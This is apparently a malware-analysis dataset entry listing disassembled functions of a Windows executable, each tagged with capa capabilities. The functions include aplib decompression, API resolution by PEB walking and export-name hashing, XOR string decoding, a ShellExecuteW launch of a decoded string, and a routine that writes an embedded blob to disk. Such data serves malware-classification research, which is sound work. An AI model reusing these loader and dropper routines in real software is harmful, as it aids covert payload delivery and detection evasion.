joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1406a4058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1406a41df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1406a4089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406a406f
add dl, dl
jne 0x1406a4096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406a40f6
xor eax, eax
add dl, dl
jne 0x1406a40a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406a41ad
add dl, dl
jne 0x1406a40b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406a40c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406a40d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406a40dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1406a40ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1406a407e
mov eax, 1
add dl, dl
jne 0x1406a4106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406a4113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406a40fb
sub eax, ebx
mov ebx, 1
jne 0x1406a414c
mov ecx, 1
add dl, dl
jne 0x1406a412e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406a413b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406a4123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406a407e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1406a4168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406a4175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406a415d
cmp eax, 0x7d00
jae 0x1406a419b
cmp eax, 0x500
jb 0x1406a4196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406a407e
cmp eax, 0x7f
ja 0x1406a419e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406a407e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1406a41d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1406a407e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
push rcx
push rsi
mov rsi, qword [rdx + 0x50]
xor r9, r9
movzx rcx, word [rdx + 0x4a]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
push r9
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov r8d, dword [rax + 0x20]
add r8, rdx
mov ecx, dword [rax + 0x18]
push rax
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x140001e40
Capabilities:
Encode data using xor

Disassembly:
movsxd r8, dword [0x1400084ac]
lea r9, [0x1400084c0]
movsxd rax, edx
mov r10, rcx
mov r9, qword [r9 + r8*8]
inc r8d
dec rax
mov dword [0x1400084ac], r8d
test rax, rax
jle 0x140001f25
mov rdx, r9
sub r10, r9
mov r8, rax
nop word [rax + rax]
movzx ecx, byte [rdx + r10]
mov byte [rdx], cl
lea rdx, [rdx + 1]
xor cl, byte [0x140008017]
mov byte [rdx - 1], cl
xor cl, byte [0x140008016]
mov byte [rdx - 1], cl
xor cl, byte [0x140008015]
mov byte [rdx - 1], cl
xor cl, byte [0x140008014]
mov byte [rdx - 1], cl
xor cl, byte [0x140008013]
mov byte [rdx - 1], cl
xor cl, byte [0x140008012]
mov byte [rdx - 1], cl
xor cl, byte [0x140008011]
mov byte [rdx - 1], cl
xor cl, byte [0x140008010]
mov byte [rdx - 1], cl
xor cl, byte [0x14000800f]
mov byte [rdx - 1], cl
xor cl, byte [0x14000800e]
mov byte [rdx - 1], cl
xor cl, byte [0x14000800d]
mov byte [rdx - 1], cl
xor cl, byte [0x14000800c]
mov byte [rdx - 1], cl
xor cl, byte [0x14000800b]
mov byte [rdx - 1], cl
xor cl, byte [0x14000800a]
mov byte [rdx - 1], cl
xor cl, byte [0x140008009]
mov byte [rdx - 1], cl
xor cl, byte [0x140008008]
mov byte [rdx - 1], cl
sub r8, 1
jne 0x140001e80
mov byte [rax + r9], 0
xor eax, eax
mov ecx, dword [0x1400084ac]
cmp ecx, 0xf
cmovge ecx, eax
mov rax, r9
mov dword [0x1400084ac], ecx
ret

Function at 0x140002610
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1400081c8]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1400026e3
cmp byte [rcx + 0x71], 0
je 0x1400026e3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1400026df
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400026a4
sub eax, 1
je 0x1400026a8
cmp eax, 2
jne 0x1400026df
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140003d60
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1400026d6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1400026df
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000268c
xor al, al
jmp 0x14000268c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140003d60
add rsp, 0x60
pop rbx
ret
Function at 0x140002c60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
movsxd rax, dword [rcx + 0x3c]
xor r9d, r9d
mov rdi, rdx
mov r11, rcx
mov r8d, dword [rax + rcx + 0x88]
add r8, rcx
mov esi, dword [r8 + 0x1c]
mov ebp, dword [r8 + 0x24]
add rsi, rcx
mov r10d, dword [r8 + 0x20]
add rbp, rcx
mov ebx, dword [r8 + 0x18]
add r10, rcx
test ebx, ebx
je 0x140002ce3
nop dword [rax]
mov r8d, dword [r10]
mov rax, rdi
add r8, r11
sub r8, rdi
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140002cd3
inc rax
test ecx, ecx
jne 0x140002cc0
test edx, edx
je 0x140002cfa
inc r9d
add r10, 4
cmp r9d, ebx
jb 0x140002cb0
xor eax, eax
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret
movzx ecx, word [rbp + r9*2]
mov eax, dword [rsi + rcx*4]
add rax, r11
jmp 0x140002ce5
Function at 0x140002d10
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1400081c8]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140002d3d
xor eax, eax
jmp 0x140002e92
mov rdx, qword [rcx + 0x40]
mov rax, qword [rdx]
test rax, rax
je 0x140002d68
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
add r8, rax
cmp rax, r8
jae 0x140002d68
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], dil
mov eax, edi
jmp 0x140002e92
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140002e85
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x140002dab
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140002dd6
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002e8a
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002e45
sub eax, 1
je 0x140002e45
cmp eax, 2
jne 0x140002e85
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002e8a
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140002e73
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140002e85
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x140002e8a
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140003d60
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400035e0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140003602
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140003618
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140003634
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140003636
xor ecx, ecx
mov qword [rsp + 0x20], rdi
movsxd rax, ecx
test ecx, ecx
je 0x140003670
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
sub rbx, rdi
add r14, rdi
mov r8, rbx
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140003717
mov r9, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r9], rax
jne 0x1400036ab
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
mov rdi, r8
cmp r8, 0xfff
jbe 0x1400036f1
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
add r14, rax
mov rdi, rbx
cmp rax, 0xfff
jne 0x140003730
cmp rbx, rax
ja 0x1400036c0
mov r8, rdi
test rdi, rdi
je 0x140003717
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov r8, rdi
sub r8, rax
sub rbp, r8
mov rdi, qword [rsp + 0x20]
mov rax, rbp
mov rbx, qword [rsp + 0x28]
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
sub rbp, rbx
jmp 0x14000371a
Function at 0x140003740
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r14, rdx
mov rdi, rcx
je 0x140003777
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rsi
mov rsi, rbx
mov r9, qword [rax]
test r9, r9
je 0x140003798
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14000379a
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x1400037f3
test ecx, ecx
jle 0x1400037d3
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
sub rbx, rbp
add r14, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x1400037f3
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x1400037f3
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov rbp, qword [rsp + 0x30]
sub rsi, rbx
mov rbx, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x14005db90
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
movsxd rbx, r8d
mov rdi, r9
mov eax, ebx
mov rsi, rdx
and eax, 0x80000007
jge 0x14005dbb8
dec eax
or eax, 0xfffffff8
inc eax
test eax, eax
jne 0x14005dc2a
mov rcx, rbx
mov qword [rsp + 0x30], r14
mov dword [r9], ebx
call fcn.140262ea0
mov r9, rax
test ebx, ebx
jle 0x14005dbf0
mov rdx, rax
sub rsi, rax
mov r8, rbx
nop dword [rax]
movzx ecx, byte [rsi + rdx]
mov byte [rdx], cl
lea rdx, [rdx + 1]
sub r8, 1
jne 0x14005dbe0
cmp ebx, dword [rdi]
jge 0x14005dc12
lea rcx, [rbx + rax]
lea rdx, [rcx - 1]
nop dword [rax]
movzx eax, byte [rdx]
lea rcx, [rcx + 1]
xor al, 0xcc
inc ebx
mov byte [rcx - 1], al
cmp ebx, dword [rdi]
jl 0x14005dc00
mov r14, qword [rsp + 0x30]
mov rax, r9
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
lea rdx, [0x140379c20]
mov dword [rsp + 0x50], 8
lea rcx, [rsp + 0x50]
call fcn.140267674
int3
Function at 0x14005dc50
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rdi
sub rsp, 0x98
mov rbx, r9
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x50], rbx
mov byte [rcx], 0
call fcn.14005db90
mov r9, qword [rsp + 0x40]
mov r10, rax
mov qword [rsp + 0x38], rax
movzx eax, byte [rax]
mov byte [r9 + 0xc], al
movzx eax, byte [r10 + 1]
mov byte [r9 + 0xd], al
movzx eax, byte [r10 + 2]
mov byte [r9 + 0xe], al
movzx eax, byte [r10 + 3]
mov byte [r9 + 0xf], al
movzx eax, byte [r10 + 4]
mov byte [r9 + 0x10], al
movzx eax, byte [r10 + 5]
mov byte [r9 + 0x11], al
movzx eax, byte [r10 + 6]
mov byte [r9 + 0x12], al
movzx eax, byte [r10 + 7]
mov byte [r9 + 0x13], al
mov eax, 8
movsxd r11, dword [rbx]
mov dword [rsp + 0x30], eax
cmp r11d, eax
jle 0x14005ddfb
mov qword [rsp + 0x90], rbp
lea rcx, [r10 + 0xa]
mov qword [rsp + 0x88], rsi
mov qword [rsp + 0x80], r12
mov qword [rsp + 0x78], r13
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x48], rcx
nop word [rax + rax]
movzx ebx, byte [rcx - 2]
mov r8d, eax
movzx edi, byte [rcx - 1]
mov rdx, r10
movzx esi, byte [rcx]
movzx ebp, byte [rcx + 1]
movzx r14d, byte [rcx + 2]
movzx r15d, byte [rcx + 3]
movzx r12d, byte [rcx + 4]
movzx r13d, byte [rcx + 5]
mov rcx, r9
call fcn.14005de80
mov r9, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov r10, qword [rsp + 0x38]
movzx eax, byte [r9 + 0xc]
xor byte [rcx - 2], al
mov byte [r9 + 0xc], bl
movzx eax, byte [r9 + 0xd]
xor byte [rcx - 1], al
mov rbx, qword [rsp + 0x50]
mov byte [r9 + 0xd], dil
movzx eax, byte [r9 + 0xe]
xor byte [rcx], al
mov byte [r9 + 0xe], sil
movzx eax, byte [r9 + 0xf]
xor byte [rcx + 1], al
mov byte [r9 + 0xf], bpl
movzx eax, byte [r9 + 0x10]
xor byte [rcx + 2], al
mov byte [r9 + 0x10], r14b
movzx eax, byte [r9 + 0x11]
xor byte [rcx + 3], al
mov byte [r9 + 0x11], r15b
movzx eax, byte [r9 + 0x12]
xor byte [rcx + 4], al
mov byte [r9 + 0x12], r12b
movzx eax, byte [r9 + 0x13]
xor byte [rcx + 5], al
add rcx, 8
mov eax, dword [rsp + 0x30]
add eax, 8
mov byte [r9 + 0x13], r13b
movsxd r11, dword [rbx]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x48], rcx
cmp eax, r11d
jl 0x14005dd10
mov r15, qword [rsp + 0x68]
mov r14, qword [rsp + 0x70]
mov r13, qword [rsp + 0x78]
mov r12, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x88]
mov rbp, qword [rsp + 0x90]
movzx r8d, byte [r11 + r10 - 1]
lea rcx, [r10 - 1]
movsxd rax, r11d
mov edx, r11d
add rcx, rax
nop
dec edx
lea rcx, [rcx - 1]
cmp byte [rcx], r8b
je 0x14005de10
movsxd rcx, edx
lea eax, [rdx - 8]
sub rcx, 8
mov dword [rbx], eax
call fcn.140262ea0
mov rcx, qword [rsp + 0x38]
xor r9d, r9d
mov rdi, rax
cmp dword [rbx], r9d
jle 0x14005de65
mov r10, rcx
mov rdx, rax
sub r10, rax
nop word [rax + rax]
movzx r8d, byte [r10 + rdx + 8]
inc r9d
mov byte [rdx], r8b
lea rdx, [rdx + 1]
cmp r9d, dword [rbx]
jl 0x14005de50
call fcn.140262e30
mov rax, rdi
add rsp, 0x98
pop rdi
pop rbx
ret
Function at 0x14005e440
Capabilities:
Encode data using xor
Encrypt data using blowfish

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov r10d, dword [0x140383300]
lea rsi, sym.MZ___wrPCPF_9n3:5sfK___tKgSB3hp__9Q._fkG_D:
xor r10d, dword [rcx + 4]
mov ebx, 2
mov eax, dword [rcx + 8]
mov r11, rcx
lea edi, [rbx + 6]
nop
mov ecx, r10d
shr rcx, 0x10
movzx edx, cl
mov ecx, r10d
shr rcx, 0x18
mov r9d, dword [rsi + rdx*4 + 0x383b30]
add r9d, dword [rsi + rcx*4 + 0x383730]
mov ecx, r10d
shr rcx, 8
movzx edx, cl
movzx ecx, r10b
xor r9d, dword [rsi + rdx*4 + 0x384330]
add r9d, dword [rsi + rcx*4 + 0x383f30]
lea ecx, [rbx - 1]
xor r9d, dword [rsi + rcx*4 + 0x383300]
xor eax, r9d
mov ecx, eax
shr rcx, 0x10
movzx edx, cl
mov ecx, eax
shr rcx, 0x18
mov r8d, dword [rsi + rdx*4 + 0x383b30]
add r8d, dword [rsi + rcx*4 + 0x383730]
mov ecx, eax
shr rcx, 8
movzx edx, cl
movzx ecx, al
xor r8d, dword [rsi + rdx*4 + 0x384330]
add r8d, dword [rsi + rcx*4 + 0x383f30]
mov ecx, ebx
add ebx, 2
xor r8d, dword [rsi + rcx*4 + 0x383300]
xor r10d, r8d
sub rdi, 1
jne 0x14005e470
xor eax, dword [0x140383344]
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
mov dword [r11 + 4], eax
mov dword [r11 + 8], r10d
ret
Function at 0x14006c480
Capabilities:
Create process on windows
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x50
cmp qword [rcx + 0x18], 8
mov rbx, rcx
mov r8, rcx
jb 0x14006c49a
mov r8, qword [rcx]
mov ecx, WSAStartup
xor edx, edx
call fcn.14006b200
lea ecx, [rdx + 0x75]
mov word [rsp + 0x30], ax
lea edx, [rcx - 0x74]
call fcn.14006b200
lea ecx, [rdx + 0x6d]
mov word [rsp + 0x32], ax
lea edx, [rcx - 0x6c]
call fcn.14006b200
lea ecx, [rdx + 0x5f]
mov word [rsp + 0x34], ax
lea edx, [rcx - 0x5e]
call fcn.14006b200
lea ecx, [rdx + 0x70]
mov word [rsp + 0x36], ax
lea edx, [rcx - 0x6f]
call fcn.14006b200
xor ecx, ecx
mov word [rsp + 0x38], ax
lea edx, [rcx + 5]
call fcn.14006b200
lea edx, [rcx + 6]
mov word [rsp + 0x3a], ax
movzx ecx, word [0x14034a46c]
call fcn.14006b200
movzx ecx, word [0x14034a46e]
mov edx, 7
mov word [rsp + 0x3c], ax
call fcn.14006b200
movzx ecx, word [str..exe]
mov edx, 8
mov word [rsp + 0x3e], ax
call fcn.14006b200
movzx ecx, word [0x14034a472]
mov edx, 9
mov word [rsp + 0x40], ax
call fcn.14006b200
movzx ecx, word [0x14034a474]
mov edx, 0xa
mov word [rsp + 0x42], ax
call fcn.14006b200
mov word [rsp + 0x44], ax
mov r9d, 0x133
xor eax, eax
mov word [rsp + 0x46], ax
xor edi, edi
nop word [rax + rax]
movsxd rcx, eax
lea rdx, [rsp + 0x30]
lea rdx, [rdx + rcx*2]
lea ecx, [r9 + rax]
inc eax
xor word [rdx], cx
cmp eax, 0xb
jb 0x14006c580
mov dword [rsp + 0x28], edi
lea rdx, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor ecx, ecx
mov word [rsp + 0x46], di
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x14006c5f3
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14006c5ee
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14006c60d
mov rcx, r8
call fcn.140262e30
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 7
mov word [rbx], di
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
call fcn.14027b778
int3
Function at 0x14006c620
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x1403825a0]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ebp, ebp
mov rdi, rcx
cmp qword [rcx + 0x18], 8
mov dword [rsp + 0x40], ebp
jb 0x14006c651
mov rcx, qword [rcx]
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], pe_nt_image_headers64
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
jne 0x14006c6f2
mov rdx, qword [rdi + 0x18]
cmp rdx, 8
jb 0x14006c6c4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x14006c6bf
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14006c79b
mov rcx, r8
call fcn.140262e30
mov al, 1
mov word [rdi], bp
mov qword [rdi + 0x18], 7
mov qword [rdi + 0x10], rbp
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140262e10
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
cmp rsi, 0xffffffffffffffff
jne 0x14006c737
mov rdx, qword [rdi + 0x18]
cmp rdx, 8
jb 0x14006c733
lea rdx, [rdx*2 + 2]
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x14006c72e
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14006c79b
mov rcx, r8
call fcn.140262e30
xor al, al
jmp 0x14006c6c6
lea r9, [rsp + 0x40]
mov qword [rsp + 0x68], rbx
mov r8d, 0x29a00
mov qword [rsp + 0x20], rbp
lea rdx, [0x140384750]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rdi + 0x18]
test bl, bl
mov rbx, qword [rsp + 0x68]
jne 0x14006c784
cmp rax, 8
jb 0x14006c733
lea rdx, [rax*2 + 2]
jmp 0x14006c70a
cmp rax, 8
jb 0x14006c6c4
lea rdx, [rax*2 + 2]
jmp 0x14006c697
call fcn.14027b778
int3